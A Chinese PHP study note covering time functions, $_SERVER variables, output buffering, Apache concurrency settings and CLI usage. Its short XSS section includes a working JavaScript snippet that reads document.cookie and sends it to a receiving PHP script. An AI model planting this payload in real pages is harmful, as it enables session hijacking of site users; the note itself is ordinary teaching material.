PHP系统复习笔记(九)时间函数、SERVER、缓存、并发、XSS等
bigegpt 2024-10-03 14:51 4 浏览
PHP系统复习笔记
目录索引
第九天复习笔记
/* Date/Time */
date($format [,$timestamp]) //格式化一个本地时间/日期,$timestamp默认为time()
Y:4位数字完整表示的年份
m:数字表示的月份,有前导零
d:月份中的第几天,有前导零的2位数字
j:月份中的第几天,没有前导零
H:小时,24小时格式,有前导零
h:小时,12小时格式,有前导零
i:有前导零的分钟数
s:秒数,有前导零
L:是否为闰年,如果是闰年为1,否则为0
M:三个字母缩写表示的月份,Jan到Dec
W:年份中的第几周,每周从星期一开始
z:年份中的第几天
N:数字表示的星期中的第几天
w:星期中的第几天,数字表示
e:时区标识
T:本机所在的时区
U:从Unix纪元开始至今的秒数(时间戳)
time() //返回当前的Unix时间戳(秒)
microtime([$get_as_float]) //返回当前Unix时间戳和微秒数
$get_as_float参数存在并且其值等价于TRUE,将返回一个浮点数
strtotime($time [,$now]) //将任何英文文本的日期时间描述解析为Unix时间戳
date("Y-m-d H:i:s", strtotime("-1 day")); //格式化前一天的时间戳
"now"
"10 September 2000"
"+1 week"
"+1 week -2 days 4 hours 2 seconds"
"last Monday"
"next Thursday"
gmdate($format [,$timestamp]) //格式化一个GMT/UTC 日期/时间
mktime([$hour = date("H") [,$minute = date("i") [,$second = date("s") [,$month = date("n") [,$day = date("j") [,$year = date("Y") [,$is_dst = -1]]]]]]]) //取得一个日期的Unix时间戳
strftime($format [,$timestamp]) //根据区域设置格式化本地时间/日期
date_default_timezone_get($timezone) //获取默认时区
date_default_timezone_set($timezone) //设置默认时区
/* DateTime */
//date()函数能处理有效时间戳范围是格林威治时间 1901 年 12 月 13 日 20:45:54 到 2038 年 1 月 19 日 03:14:07(因为32位系统能最大正整数限制)
DateTime::__construct([$time="now"]) //构造方法
$time若是时间戳,则在时间戳前加@符号,如'@2345678'
DateTime::setTimezone($timezone) //设置时区
eg: $date->setTimezone(new DateTimeZone('PRC'));
DateTime::format($format) //格式化时间戳,格式化字符串形式同date()函数
/* $_SERVER */
//示例URL:http://desktop/dir/demo.php?a=aaa&b=bbb
PHP_SELF 当前执行脚本的文件名 // /dir/demo.php
GATEWAY_INTERFACE 服务器使用的CGI规范的版本 // CGI/1.1
SERVER_ADDR 当前运行脚本所在的服务器的IP地址 // 127.0.0.1
SERVER_NAME 当前运行脚本所在的服务器的主机名 // desktop
SERVER_SOFTWARE 服务器标识字符串 // Apache/2.2.22 (Win32) PHP/5.3.13
SERVER_PROTOCOL 请求页面时通信协议的名称和版本 // HTTP/1.1
REQUEST_METHOD 访问页面使用的请求方式 // GET
REQUEST_TIME 请求开始时的时间戳 // 1386032633
QUERY_STRING 查询字符串(参数) // a=aaa&b=bbb
DOCUMENT_ROOT 当前运行脚本所在的文档根目录 // C:/Users/Administrator/Desktop
HTTP_ACCEPT 当前请求头中Accept:项的内容 // text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET 当前请求头中Accept-Charset:项的内容 // UTF-8,*
HTTP_ACCEPT_ENCODING 当前请求头中Accept-Encoding:项的内容 // gzip, deflate
HTTP_ACCEPT_LANGUAGE 当前请求头中Accept-Language:项的内容 // zh-cn,zh;q=0.5
HTTP_CONNECTION 当前请求头中Connection:项的内容 // keep-alive
HTTP_HOST 当前请求头中Host:项的内容 // desktop
HTTP_REFERER 引导用户代理到当前页的前一页的地址
HTTP_USER_AGENT 当前请求头中User-Agent:项的内容 // Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
HTTPS 如果脚本是通过HTTPS协议被访问,则被设为一个非空的值
REMOTE_ADDR 浏览当前页面的用户的IP地址 // 127.0.0.1
REMOTE_HOST 浏览当前页面的用户的主机名
REMOTE_PORT 用户机器上连接到Web服务器所使用的端口号 // 49197
REMOTE_USER 经验证的用户
REDIRECT_REMOTE_USER 验证的用户,如果请求已在内部重定向
SCRIPT_FILENAME 当前执行脚本的绝对路径 // C:/Users/Administrator/Desktop/dir/demo.php
SERVER_ADMIN 该值指明了Apache服务器配置文件中的SERVER_ADMIN参数 //admin@shocker.com
SERVER_PORT Web服务器使用的端口 // 80
SERVER_SIGNATURE 包含了服务器版本和虚拟主机名的字符串
PATH_TRANSLATED 当前脚本所在文件系统(非文档根目录)的基本路径
SCRIPT_NAME 当前脚本的路径 // /dir/demo.php
REQUEST_URI URI用来指定要访问的页面 // /dir/demo.php?a=aaa&b=bbb
PHP_AUTH_DIGEST 客户端发送的“Authorization” HTTP头内容
PHP_AUTH_PW 用户输入的密码
AUTH_TYPE 认证的类型
PATH_INFO 包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息
ORIG_PATH_INFO 在被PHP处理之前,“PATH_INFO”的原始版本
/* 缓存 */
1. ob缓存(输出缓存)(需开启)
php.ini设置中开启并设置输出缓存大小:output_buffering = 4096
ob_start() 开启当前脚本页面的输出缓存
如果输出缓存打开,则输出的数据先放到输出缓存(header函数前可以有输出),否则直接放入程序缓存。
header()函数发送的内容直接放入程序缓存。
开启输出缓存后,输出缓存数据会刷新到程序缓存,然后有Apache封装成http响应包返回给浏览器。
输出缓存:存放的数据是从开启输出缓存开始返回给浏览器的所有静态页面数据!
2. 程序缓存(内部缓存,必须存在,不能关闭)
3. 浏览器缓存
/* ob缓存(输出控制) */ Output Buffering
ob_start() //打开一个输出缓冲区,所有的输出信息不再直接发送到浏览器,而是保存在输出缓冲区里面。
ob_start('ob_gzhandler'); //将gz编码的数据发送到支持压缩页面的浏览器
ob_clean(); //删除内部缓冲区的内容,不关闭缓冲区(不输出)。
ob_end_clean(); //删除内部缓冲区的内容,关闭缓冲区(不输出)。
ob_get_clean(); //返回内部缓冲区的内容,关闭缓冲区。相当于执行ob_get_contents()与ob_end_clean()
ob_flush(); //发送内部缓冲区的内容到浏览器,删除缓冲区的内容,不关闭缓冲区。
ob_end_flush(); //发送内部缓冲区的内容到浏览器,删除缓冲区的内容,关闭缓冲区。
ob_get_flush(); //返回内部缓冲区的内容,并关闭缓冲区,再释放缓冲区的内容。相当于ob_end_flush()并返回缓冲区内容。
flush(); //将当前为止程序的所有输出发送到用户的浏览器
ob_get_contents(); //返回缓冲区的内容,不输出。
ob_get_length(); //返回内部缓冲区的长度,如果缓冲区未被激活,该函数返回FALSE。
ob_get_level(); //Return the nesting level of the output buffering mechanism.
ob_get_status(); //获取ob状态信息
ob_implicit_flush(); //打开或关闭绝对刷新,默认为关闭,打开后ob_implicit_flush(true),所谓绝对刷新,即当有输出语句(e.g: echo)被执行时,便把输出直接发送到浏览器,而不再需要调用flush()或等到脚本结束时才输出。
ob_gzhandler //ob_start回调函数,用gzip压缩缓冲区的内容。
ob_list_handlers //List all output handlers in use
output_add_rewrite_var //Add URL rewriter values
output_reset_rewrite_vars //Reset URL rewriter values
这些函数的行为受php_ini设置的影响:
output_buffering //该值为ON时,将在所有脚本中使用输出控制;若该值为一个数字,则代表缓冲区的最大字节限制,当缓存内容达到该上限时将会自动向浏览器输出当前的缓冲区里的内容。
output_handler //该选项可将脚本所有的输出,重定向到一个函数。例如,将 output_handler 设置为 mb_output_handler() 时,字符的编码将被修改为指定的编码。设置的任何处理函数,将自动的处理输出缓冲。
implicit_flush //作用同ob_implicit_flush,默认为Off。
//ob缓存作用
1)防止在浏览器有输出之后再使用setcookie()、header()或session_start()等发送头文件的函数造成的错误。其实这样的用法少用为好,养成良好的代码习惯。
2)捕捉对一些不可获取的函数的输出,比如phpinfo()会输出一大堆的HTML,但是我们无法用一个变量例如$info=phpinfo();来捕捉,这时候ob就管用了。
3)对输出的内容进行处理,例如进行gzip压缩,例如进行简繁转换,例如进行一些字符串替换。
4)生成静态文件,其实就是捕捉整页的输出,然后存成文件。经常在生成HTML,或者整页缓存中使用。
/* 网站并发 */
测试工具:apache/bin/ab.exe
用法:cmd{%apache-bin%}>ab.exe -n 执行访问次数 -c 用户并发数量 URL地址
MPM(多路处理模块):perfork(预处理模式), worker(工作者模式), winnt(Win系统)
MPM配置:httpd-mpm.conf
查看当前MPM模式:httpd –l mpm_xxx.c中xxx表示当前模式类型
httpd.conf配置(开启MPM):#Include conf/extra/httpd-mpm.conf
#参考配置
#配置文件:extra/httpd-mpm.conf
#mpm_winnt.c
<IfModule mpm_winnt_module>
ThreadsPerChild 1000 #中型网站1500-5500合理
MaxRequestsPerChild 0
</IfModule>
#mpm_prefork.c
<IfModule mpm_prefork_module>
StartServers 5 #预先启动
MinSpareServers 5
MaxSpareServers 10 #最大空闲进程
ServerLimit 1500 #用于修改apache编程参数
MaxClients 1000 #最大并发数
MaxRequestsPerChild 0 #一个进程对应的线程数,对worker更用
</IfModule>
#如果你的网站pv值上百万
ServerLimit 2500 #用于修改apache编程参数
MaxClients 2000 #最大并发数
/* 静态化 */
1. 页面URL长度不超过255字节
2. meta信息尽量完整,keywords5个左右
3. 前端不要使用框架
4. 图片alt属性添加信息
5. 静态页面不要带动态值
<script type="text/javascript" language="javascript" src="url"></script>
url可以是js/php/图片等,返回的数据替换<script>标签所在位置的内容!相当于简单的Ajax
/* Apache压缩 */
gzip/deflate
/* XSS攻击 */
#恶意JS代码
#不规则HTML代码
开源过滤器:htmlpurifier
//获取COOKIE
<script>
var c = document.cookie; //获取COOKIE
var script = document.createElement('script'); //创建script标签
script.src = 'demo.php?c=' + c; //发送到指定的文件接收
document.body.appendChild(script); //添加到DOM对象中生效
</script>
/* 命令行CLI */
//显示帮助信息
php -h
//解析并运行-f选项给定的文件名
php [-f] <file> [--] [args...]
//在命令行内运行单行PHP代码
php [options] -r <code> [--] [args...]
无需加上PHP的起始和结束标识符,否则将会导致语法解析错误
//调用phpinfo()函数并显示出结果
php -i/--info
//检查PHP语法
php -l/--syntax-check
//打印出内置以及已加载的PHP及Zend模块
php -m/--modules
//将PHP,PHP SAPI和Zend的版本信息写入标准输出
php -v/--version
//参数接收
$argv 传递给脚本的参数数组
第一个参数总是当前脚本的文件名,因此$argv[0]就是脚本文件名
$argc 传递给脚本的参数数目
脚本的文件名总是作为参数传递给当前脚本,因此$argc的最小值为1
包含当运行于命令行下时传递给当前脚本的参数的数组
此两个变量仅在register_argc_argv打开时可用
/* 设计模式 */
单例模式:为一个类生成一个唯一的对象。使用单例模式生成一个对象后,该对象可以被其它众多对象所使用。
工厂模式:封装对象的建立过程。可以在对象本身创建对象工厂或者是一个额外的工厂类
MVC模式:用户->控制器->模型->控制器->视图->控制器->用户
/* 配置选项 */
set_time_limit($seconds) //设置脚本最大执行时间(默认30秒),0表示不限制
ini_get($varname) //获取一个配置选项的值
ini_set($varname, $newvalue) //为一个配置选项设置值
extension_loaded($ext_name) //检测一个扩展是否已经加载
get_extension_funcs($ext_name) //返回模块函数名的数组
/* 【其他】 */
version_compare(str $ver1, str $ver2 [,str $operator]) //比较版本号
$operator表示操作符,可选:<, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne
如果省略$operator,返回两个版本号的差值。
符号@ 用于抑制系统运行错误的报告显示
memory_get_usage //获取当期内存使用情况
memory_get_peak_usage //获取内存使用的峰值
getrusage //获取CPU使用情况(Windows不可用)
uniqid([$prefix]) //获取一个带前缀、基于当前时间微秒数的唯一ID
highlight_string($str [,$return]) //字符串的语法高亮
$return:设置为TRUE,高亮后的代码不会被打印输出,而是以字符串的形式返回。高亮成功返回TRUE,否则返回FALSE。
highlight_file($file [,$return]) //语法高亮一个文件
__halt_compiler //中断编译器的执行
get_browser //获取浏览器具有的功能
get_browser ([ string $user_agent [, bool $return_array = false ]] )
如果设置为 TRUE,该函数会返回一个 array,而不是 object
eval($code) //把字符串作为PHP代码执行
gzcompress($str [,$level=-1]) //压缩字符串
gzuncompress($str) //解压缩字符串
gzencode($str [,$level=-1]) //压缩字符串
gzdecode($str) //解压缩字符串
ignore_user_abort($bool) //设置客户端断开连接时是否中断脚本的执行
相关推荐
- 得物可观测平台架构升级:基于GreptimeDB的全新监控体系实践
-
一、摘要在前端可观测分析场景中,需要实时观测并处理多地、多环境的运行情况,以保障Web应用和移动端的可用性与性能。传统方案往往依赖代理Agent→消息队列→流计算引擎→OLAP存储...
- warm-flow新春版:网关直连和流程图重构
-
本期主要解决了网关直连和流程图重构,可以自此之后可支持各种复杂的网关混合、多网关直连使用。-新增Ruoyi-Vue-Plus优秀开源集成案例更新日志[feat]导入、导出和保存等新增json格式支持...
- 扣子空间体验报告
-
在数字化时代,智能工具的应用正不断拓展到我们工作和生活的各个角落。从任务规划到项目执行,再到任务管理,作者深入探讨了这款工具在不同场景下的表现和潜力。通过具体的应用实例,文章展示了扣子空间如何帮助用户...
- spider-flow:开源的可视化方式定义爬虫方案
-
spider-flow简介spider-flow是一个爬虫平台,以可视化推拽方式定义爬取流程,无需代码即可实现一个爬虫服务。spider-flow特性支持css选择器、正则提取支持JSON/XML格式...
- solon-flow 你好世界!
-
solon-flow是一个基础级的流处理引擎(可用于业务规则、决策处理、计算编排、流程审批等......)。提供有“开放式”驱动定制支持,像jdbc有mysql或pgsql等驱动,可...
- 新一代开源爬虫平台:SpiderFlow
-
SpiderFlow:新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。-精选真开源,释放新价值。概览Spider-Flow是一个开源的、面向所有用户的Web端爬虫构建平台,它使用Ja...
- 通过 SQL 训练机器学习模型的引擎
-
关注薪资待遇的同学应该知道,机器学习相关的岗位工资普遍偏高啊。同时随着各种通用机器学习框架的出现,机器学习的门槛也在逐渐降低,训练一个简单的机器学习模型变得不那么难。但是不得不承认对于一些数据相关的工...
- 鼠须管输入法rime for Mac
-
鼠须管输入法forMac是一款十分新颖的跨平台输入法软件,全名是中州韵输入法引擎,鼠须管输入法mac版不仅仅是一个输入法,而是一个输入法算法框架。Rime的基础架构十分精良,一套算法支持了拼音、...
- Go语言 1.20 版本正式发布:新版详细介绍
-
Go1.20简介最新的Go版本1.20在Go1.19发布六个月后发布。它的大部分更改都在工具链、运行时和库的实现中。一如既往,该版本保持了Go1的兼容性承诺。我们期望几乎所...
- iOS 10平台SpriteKit新特性之Tile Maps(上)
-
简介苹果公司在WWDC2016大会上向人们展示了一大批新的好东西。其中之一就是SpriteKitTileEditor。这款工具易于上手,而且看起来速度特别快。在本教程中,你将了解关于TileE...
- 程序员简历例句—范例Java、Python、C++模板
-
个人简介通用简介:有良好的代码风格,通过添加注释提高代码可读性,注重代码质量,研读过XXX,XXX等多个开源项目源码从而学习增强代码的健壮性与扩展性。具备良好的代码编程习惯及文档编写能力,参与多个高...
- Telerik UI for iOS Q3 2015正式发布
-
近日,TelerikUIforiOS正式发布了Q32015。新版本新增对XCode7、Swift2.0和iOS9的支持,同时还新增了对数轴、不连续的日期时间轴等;改进TKDataPoin...
- ios使用ijkplayer+nginx进行视频直播
-
上两节,我们讲到使用nginx和ngixn的rtmp模块搭建直播的服务器,接着我们讲解了在Android使用ijkplayer来作为我们的视频直播播放器,整个过程中,需要注意的就是ijlplayer编...
- IOS技术分享|iOS快速生成开发文档(一)
-
前言对于开发人员而言,文档的作用不言而喻。文档不仅可以提高软件开发效率,还能便于以后的软件开发、使用和维护。本文主要讲述Objective-C快速生成开发文档工具appledoc。简介apple...
- macOS下配置VS Code C++开发环境
-
本文介绍在苹果macOS操作系统下,配置VisualStudioCode的C/C++开发环境的过程,本环境使用Clang/LLVM编译器和调试器。一、前置条件本文默认前置条件是,您的开发设备已...
- 一周热门
- 最近发表
- 标签列表
-
- mybatiscollection (79)
- mqtt服务器 (88)
- keyerror (78)
- c#map (65)
- resize函数 (64)
- xftp6 (83)
- bt搜索 (75)
- c#var (76)
- mybatis大于等于 (64)
- xcode-select (66)
- httperror403.14-forbidden (63)
- logstashinput (65)
- hadoop端口 (65)
- dockernetworkconnect (63)
- esxi7 (63)
- vue阻止冒泡 (67)
- c#for循环 (63)
- oracle时间戳转换日期 (64)
- jquery跨域 (68)
- php写入文件 (73)
- java大写转小写 (63)
- kafkatools (66)
- mysql导出数据库 (66)
- jquery鼠标移入移出 (71)
- 取小数点后两位的函数 (73)